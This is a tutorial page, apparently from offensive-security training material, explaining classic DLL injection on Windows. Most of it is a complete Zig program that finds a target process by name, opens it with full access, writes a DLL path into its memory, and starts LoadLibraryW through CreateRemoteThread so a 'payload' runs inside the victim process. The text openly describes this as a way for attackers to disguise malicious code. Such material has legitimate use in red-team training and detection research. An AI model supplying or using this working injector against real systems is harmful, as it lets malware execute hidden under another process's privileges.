DLL Injection
TL;DR
DLL injection forces a target process to load an external dynamic library. By
allocating space for the DLL path and invoking LoadLibrary
via a remote thread,
attackers can execute arbitrary code inside the victim process. This technique
allows the malicious DLL to share the target's privileges and resources while
remaining disguised as part of the normal application. The code example writes
the path of a crafted DLL into the remote process and starts a new thread so the
library gets loaded and its exported functions run in that context.
Code Walkthrough
main.zig
const std = @import("std");
const windows = std.os.windows;
const kernel = windows.kernel32;
const print = std.debug.print;
// Windows API types
const HANDLE = windows.HANDLE;
const DWORD = windows.DWORD;
const BOOL = windows.BOOL;
const LPVOID = windows.LPVOID;
const LPCWSTR = windows.LPCWSTR;
const SIZE_T = windows.SIZE_T;
// Process access rights
const PROCESS_ALL_ACCESS = 0x001F0FFF;
const PROCESS_CREATE_THREAD = 0x0002;
const PROCESS_QUERY_INFORMATION = 0x0400;
const PROCESS_VM_OPERATION = 0x0008;
const PROCESS_VM_WRITE = 0x0020;
const PROCESS_VM_READ = 0x0010;
// Memory allocation constants
const MEM_COMMIT = windows.MEM_COMMIT;
const MEM_RESERVE = windows.MEM_RESERVE;
const PAGE_READWRITE = windows.PAGE_READWRITE;
// Snapshot constants
const TH32CS_SNAPPROCESS = windows.TH32CS_SNAPPROCESS;
const INVALID_HANDLE_VALUE = windows.INVALID_HANDLE_VALUE;
// Process entry structure
const PROCESSENTRY32W = extern struct {
dwSize: DWORD,
cntUsage: DWORD,
th32ProcessID: DWORD,
th32DefaultHeapID: usize,
th32ModuleID: DWORD,
cntThreads: DWORD,
th32ParentProcessID: DWORD,
pcPriClassBase: i32,
dwFlags: DWORD,
szExeFile: [260]u16,
};
// Windows API function declarations
const CreateToolhelp32Snapshot = kernel.CreateToolhelp32Snapshot;
extern "kernel32" fn Process32FirstW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(.C) BOOL;
extern "kernel32" fn Process32NextW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(.C) BOOL;
extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(.C) ?HANDLE;
const GetModuleHandleW = kernel.GetModuleHandleW;
const GetProcAddress = kernel.GetProcAddress;
extern "kernel32" fn VirtualAllocEx(HANDLE, ?LPVOID, SIZE_T, DWORD, DWORD) callconv(.C) ?LPVOID;
const WriteProcessMemory = windows.WriteProcessMemory;
extern "kernel32" fn CreateRemoteThread(HANDLE, ?*anyopaque, SIZE_T, *const fn (?LPVOID) callconv(.C) DWORD, ?LPVOID, DWORD, ?*DWORD) callconv(.C) ?HANDLE;
const GetLastError = windows.GetLastError;
const CloseHandle = windows.CloseHandle;
extern "kernel32" fn GetExitCodeThread(HANDLE, *DWORD) BOOL;
// Helper function to wait for Enter key
fn waitForEnter(message: []const u8) void {
print("{s}", .{message});
var buffer: [256]u8 = undefined;
_ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}
// Convert UTF-8 string to wide string
fn convertToWideString(allocator: std.mem.Allocator, utf8_str: []const u8) ![:0]u16 {
return try std.unicode.utf8ToUtf16LeAllocZ(allocator, utf8_str);
}
// Compare wide strings (case-insensitive)
fn compareWideStringsIgnoreCase(str1: []const u16, str2: []const u16) bool {
return windows.eqlIgnoreCaseWTF16(str1, str2);
}
// Get remote process PID by name (simplified to return just PID)
fn getRemoteProcessPid(allocator: std.mem.Allocator, process_name: []const u8) !DWORD {
const wide_process_name = try convertToWideString(allocator, process_name);
defer allocator.free(wide_process_name);
print("[i] Searching For Process Id Of \"{s}\" ... ", .{process_name});
const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) {
print("[!] CreateToolhelp32Snapshot Failed With Error : {d} \n", .{GetLastError()});
return error.SnapshotFailed;
}
defer _ = CloseHandle(snapshot);
var process_entry = std.mem.zeroes(PROCESSENTRY32W);
process_entry.dwSize = @sizeOf(PROCESSENTRY32W);
if (Process32FirstW(snapshot, &process_entry) == 0) {
print("[!] Process32FirstW Failed With Error : {d} \n", .{GetLastError()});
return error.ProcessEnumFailed;
}
while (true) {
var exe_name_len: usize = 0;
while (exe_name_len < process_entry.szExeFile.len and process_entry.szExeFile[exe_name_len] != 0) {
exe_name_len += 1;
}
const exe_name = process_entry.szExeFile[0..exe_name_len];
if (compareWideStringsIgnoreCase(exe_name, wide_process_name)) {
print("[+] DONE \n", .{});
print("[i] Found Target Process Pid: {d} \n", .{process_entry.th32ProcessID});
return process_entry.th32ProcessID;
}
if (Process32NextW(snapshot, &process_entry) == 0) {
break;
}
}
print("[!] Process is Not Found \n", .{});
return error.ProcessNotFound;
}
// Main DLL injection function
fn injectDllToRemoteProcess(h_process: HANDLE, dll_name: [:0]u16) BOOL {
var h_thread: ?HANDLE = null;
defer {
if (h_thread) |thread| {
_ = CloseHandle(thread);
}
}
// Calculate the size of DllName in bytes
const dw_size_to_write = (std.mem.len(dll_name.ptr) + 1) * @sizeOf(u16);
// Get the address of LoadLibraryW from kernel32.dll
const kernel32_handle = GetModuleHandleW(std.unicode.utf8ToUtf16LeStringLiteral("kernel32.dll")) orelse {
print("[!] GetModuleHandleW Failed With Error: {d}\n", .{GetLastError()});
return 0;
};
const p_load_library_w = GetProcAddress(kernel32_handle, "LoadLibraryW") orelse {
print("[!] GetProcAddress Failed With Error: {d}\n", .{GetLastError()});
return 0;
};
// Allocate memory in the remote process
const p_address = VirtualAllocEx(
h_process,
null,
dw_size_to_write,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
) orelse {
print("[!] VirtualAllocEx Failed With Error: {d}\n", .{GetLastError()});
return 0;
};
print("[i] pAddress Allocated At : 0x{x} Of Size : {d}\n", .{ @intFromPtr(p_address), dw_size_to_write });
waitForEnter("[#] Press <Enter> To Write ... ");
// Cast to bytes (UTF-16), including the null terminator
const bytes = std.mem.sliceAsBytes(@as([*]u16, @ptrCast(dll_name))[0 .. dw_size_to_write / 2]);
// Write the DLL name to the remote process memory
const write_result = WriteProcessMemory(
h_process,
p_address,
bytes,
) catch {
print("[!] WriteProcessMemory Failed With Error: {d}\n", .{GetLastError()});
return 0;
};
if (write_result != dw_size_to_write) {
print("[!] Expected to write: {d} bytes, actually wrote: {d} bytes\n", .{ dw_size_to_write, write_result });
return 0;
}
print("[i] Successfully Written {d} Bytes\n", .{write_result});
waitForEnter("[#] Press <Enter> To Run ... ");
print("[i] Executing Payload ... \n", .{});
// Create a remote thread to execute LoadLibraryW with our DLL path
h_thread = CreateRemoteThread(
h_process,
null,
0,
@ptrCast(p_load_library_w),
p_address,
0,
null,
) orelse {
print("[!] CreateRemoteThread Failed With Error: {d}\n", .{GetLastError()});
return 0;
};
windows.WaitForSingleObject(h_thread.?, windows.INFINITE) catch {
print("[!] WaitForSingleObject failed: {}\n", .{GetLastError()});
};
var exit_code: DWORD = 0;
if (GetExitCodeThread(h_thread.?, &exit_code) == 0) {
print("[!] GetExitCodeThread failed: {}\n", .{GetLastError()});
return 1;
} else if (exit_code == 0) {
print("[!] LoadLibraryW returned NULL (DLL not found / load error)\n", .{});
return 1;
}
print("[+] DONE!\n", .{});
print("[+] DLL Injection Completed Successfully!\n", .{});
return 1; // TRUE
}
// Print usage information
fn printUsage(program_name: []const u8) void {
print("[!] Usage : \"{s}\" <Complete DLL Payload Path> <Process Name>\n", .{program_name});
}
pub fn main() !void {
var gpa = std.heap.GeneralPurposeAllocator(.{}){};
defer _ = gpa.deinit();
const allocator = gpa.allocator();
const args = try std.process.argsAlloc(allocator);
defer std.process.argsFree(allocator, args);
if (args.len != 3) {
printUsage(args[0]);
std.process.exit(1);
}
const dll_path = args[1];
const process_name = args[2];
// It must be an absolute directory in order to run
const absolute = try std.fs.cwd().realpathAlloc(allocator, dll_path);
defer allocator.free(absolute);
// Find target process PID
const target_pid = try getRemoteProcessPid(allocator, process_name);
// Open target process
const target_process = OpenProcess(
PROCESS_ALL_ACCESS,
0, // bInheritHandle = FALSE
target_pid, // Now using just the PID (DWORD)
) orelse {
print("[!] OpenProcess Failed With Error: {d}\n", .{GetLastError()});
print("[!] Try running as Administrator or check process permissions.\n", .{});
std.process.exit(1);
};
defer _ = CloseHandle(target_process);
// Convert DLL path to wide string
const wide_dll_path = try convertToWideString(allocator, absolute);
defer allocator.free(wide_dll_path);
// Inject DLL
const injection_result = injectDllToRemoteProcess(target_process, wide_dll_path);
if (injection_result == 1) {
print("\n", .{});
print("SUCCESS! DLL injection completed successfully!\n", .{});
print("Your payload should now be running in the target process!\n", .{});
} else {
print("\n", .{});
print("FAILED! DLL injection was not successful.\n", .{});
print("Check the error messages above for details.\n", .{});
std.process.exit(1);
}
waitForEnter("\n[#] Press <Enter> To Exit ... ");
}